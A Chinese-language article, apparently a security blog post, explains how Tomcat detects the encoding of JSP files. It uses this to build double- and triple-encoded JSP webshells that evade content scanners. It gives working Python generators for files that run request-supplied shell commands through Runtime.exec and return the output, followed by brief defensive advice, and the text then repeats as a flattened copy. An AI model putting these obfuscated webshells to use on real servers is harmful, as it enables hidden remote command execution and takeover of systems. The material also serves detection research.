浅谈JspWebshell之编码
字数 1309 2025-08-20 18:17:41

JSP Webshell编码技术深度解析

环境与基础概念

  • 测试环境:Tomcat 8.0.50
  • JSP本质:JSP是Servlet技术的扩展,本质上是一种模板,通过解析后转换为Java文件并最终编译为class文件
  • 关键处理类org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding
    • isXml:判断是否为XML格式
    • sourceEnc:决定JSP文件编码

XML格式处理

  • XML声明要求<?xml声明必须位于文件最前面才能正确解析encoding属性
    <?xml version="1.0" encoding="utf-8" ?>
    
  • XML格式识别
    1. 通过后缀名.jspx.tagx
    2. 文件内容包含<xxx:root格式的文本

编码识别机制

1. BOM(字节顺序标记)识别

Tomcat遵循W3C定义的XML编码识别规则:

  1. 有BOM则使用BOM定义的编码
  2. 无BOM则查看XML encoding声明
  3. 两者都没有则假定为UTF-8

关键代码org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName

private Object[] getEncodingName(byte[] b4, int count) {
    // 简化的BOM识别逻辑
    if (b0 == 0xFE && b1 == 0xFF) return "UTF-16BE";
    if (b0 == 0xFF && b1 == 0xFE) return "UTF-16LE";
    if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) return "UTF-8";
    // 其他编码识别...
}

2. 通过JSP指令识别

当无法通过BOM识别时,Tomcat会查找JSP指令中的编码声明:

格式一

<%@ page language="java" pageEncoding="utf-16be"%>
<%@ page contentType="charset=utf-16be" %>
<%@ tag language="java" pageEncoding="utf-16be"%>
<%@ tag contentType="charset=utf-16be" %>

格式二

<jsp:directive.page pageEncoding="utf-16be"/>
<jsp:directive.page contentType="charset=utf-16be"/>
<jsp:directive.tag pageEncoding="utf-16be"/>
<jsp:directive.tag contentType="charset=utf-16be"/>

注意page后可以不加空格,如<%@ pagepageEncoding="utf-16be" %>

双编码Webshell技术

基本实现原理

利用XML声明和内容使用不同编码的特性:

a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:directive.page contentType="text/html"/>
    <jsp:scriptlet>
    // 恶意代码
    </jsp:scriptlet>
</jsp:root>'''

with open("test.jsp","wb") as f:
    f.write(a0.encode("utf-16"))  # 第一部分编码
    f.write(a1.encode("cp037"))   # 第二部分编码

可用编码组合

前置编码必须是XMLEncodingDetector#getEncodingName能识别的编码:

  • UTF-8
  • UTF-16BE
  • UTF-16LE
  • ISO-10646-UCS-4
  • CP037

后置编码可以是Java支持的任何编码

关键注意事项

  1. 长度对齐问题:前置部分编码后的长度必须与后置编码的字节单位对齐

    • 例如UTF-16是2字节编码,前置部分长度必须是偶数
    • 否则会导致<xxx:root识别失败
  2. 指令位置灵活性<%@<jsp:directive.可以出现在文件任意位置

    a0 = '''<% Process p =Runtime.getRuntime().exec(request.getParameter("y4tacker")); String line = "'''
    a1 = '''<%@ page pageEncoding="UTF-16BE"%>'''
    a2 = '''"; while ((line = input.readLine()) != null) { out.write(line+"\\n"); }%>'''
    
    with open("test.jsp","wb") as f:
        f.write(a0.encode("utf-16be"))
        f.write(a1.encode("utf-8"))
        f.write(a2.encode("utf-16be"))
    

三重编码Webshell技术

通过组合多种编码识别机制实现更复杂的混淆:

  1. 确保无法通过BOM识别(isBomPresent为false)
  2. 通过<?xml encoding='xxx'设置初始编码
  3. 在任意位置放置<jsp:directive.<%@指令
  4. 通过指令的pageEncoding属性再次改变编码

示例

a0 = '''<?xml version="1.0" encoding='cp037'?>'''
a1 = '''<% Process p =Runtime.getRuntime().exec(request.getParameter("y4tacker")); String line = "'''
a2 = '''<%@ page pageEncoding="UTF-16BE"%>'''
a3 = '''"; while ((line = input.readLine()) != null) { out.write(line+"\\n"); }%>'''

with open("test3.jsp","wb") as f:
    f.write(a0.encode("utf-8"))
    f.write(a1.encode("utf-16be"))
    f.write(a2.encode("cp037"))
    f.write(a3.encode("utf-16be"))

其他技术细节

  • 空格处理差异

    • XML头解析使用XMLChar#isSpace:识别\x0d\x0a9\x0a\x0d
    • JSP指令解析使用JspReader#isSpace:识别所有小于\x20的字符
  • 版本差异:不同Tomcat版本在编码处理上可能有细微差别,需针对性测试

防御建议

  1. 禁用JSP上传功能
  2. 对上传文件进行内容检查
  3. 使用安全产品检测双编码/多编码文件
  4. 限制Tomcat的解析能力,如禁用XML格式JSP解析
JSP Webshell编码技术深度解析 环境与基础概念 测试环境 :Tomcat 8.0.50 JSP本质 :JSP是Servlet技术的扩展,本质上是一种模板,通过解析后转换为Java文件并最终编译为class文件 关键处理类 : org.apache.jasper.compiler.ParserController#determineSyntaxAndEncoding isXml :判断是否为XML格式 sourceEnc :决定JSP文件编码 XML格式处理 XML声明要求 : <?xml 声明必须位于文件最前面才能正确解析encoding属性 XML格式识别 : 通过后缀名 .jspx 或 .tagx 文件内容包含 <xxx:root 格式的文本 编码识别机制 1. BOM(字节顺序标记)识别 Tomcat遵循W3C定义的XML编码识别规则: 有BOM则使用BOM定义的编码 无BOM则查看XML encoding声明 两者都没有则假定为UTF-8 关键代码 : org.apache.jasper.xmlparser.XMLEncodingDetector#getEncodingName 2. 通过JSP指令识别 当无法通过BOM识别时,Tomcat会查找JSP指令中的编码声明: 格式一 : 格式二 : 注意 : page 后可以不加空格,如 <%@ pagepageEncoding="utf-16be" %> 双编码Webshell技术 基本实现原理 利用XML声明和内容使用不同编码的特性: 可用编码组合 前置编码必须是 XMLEncodingDetector#getEncodingName 能识别的编码: UTF-8 UTF-16BE UTF-16LE ISO-10646-UCS-4 CP037 后置编码可以是Java支持的任何编码 关键注意事项 长度对齐问题 :前置部分编码后的长度必须与后置编码的字节单位对齐 例如UTF-16是2字节编码,前置部分长度必须是偶数 否则会导致 <xxx:root 识别失败 指令位置灵活性 : <%@ 或 <jsp:directive. 可以出现在文件任意位置 三重编码Webshell技术 通过组合多种编码识别机制实现更复杂的混淆: 确保无法通过BOM识别(isBomPresent为false) 通过 <?xml encoding='xxx' 设置初始编码 在任意位置放置 <jsp:directive. 或 <%@ 指令 通过指令的pageEncoding属性再次改变编码 示例 : 其他技术细节 空格处理差异 : XML头解析使用 XMLChar#isSpace :识别 \x0d 、 \x0a9 、 \x0a 、 \x0d JSP指令解析使用 JspReader#isSpace :识别所有小于 \x20 的字符 版本差异 :不同Tomcat版本在编码处理上可能有细微差别,需针对性测试 防御建议 禁用JSP上传功能 对上传文件进行内容检查 使用安全产品检测双编码/多编码文件 限制Tomcat的解析能力,如禁用XML格式JSP解析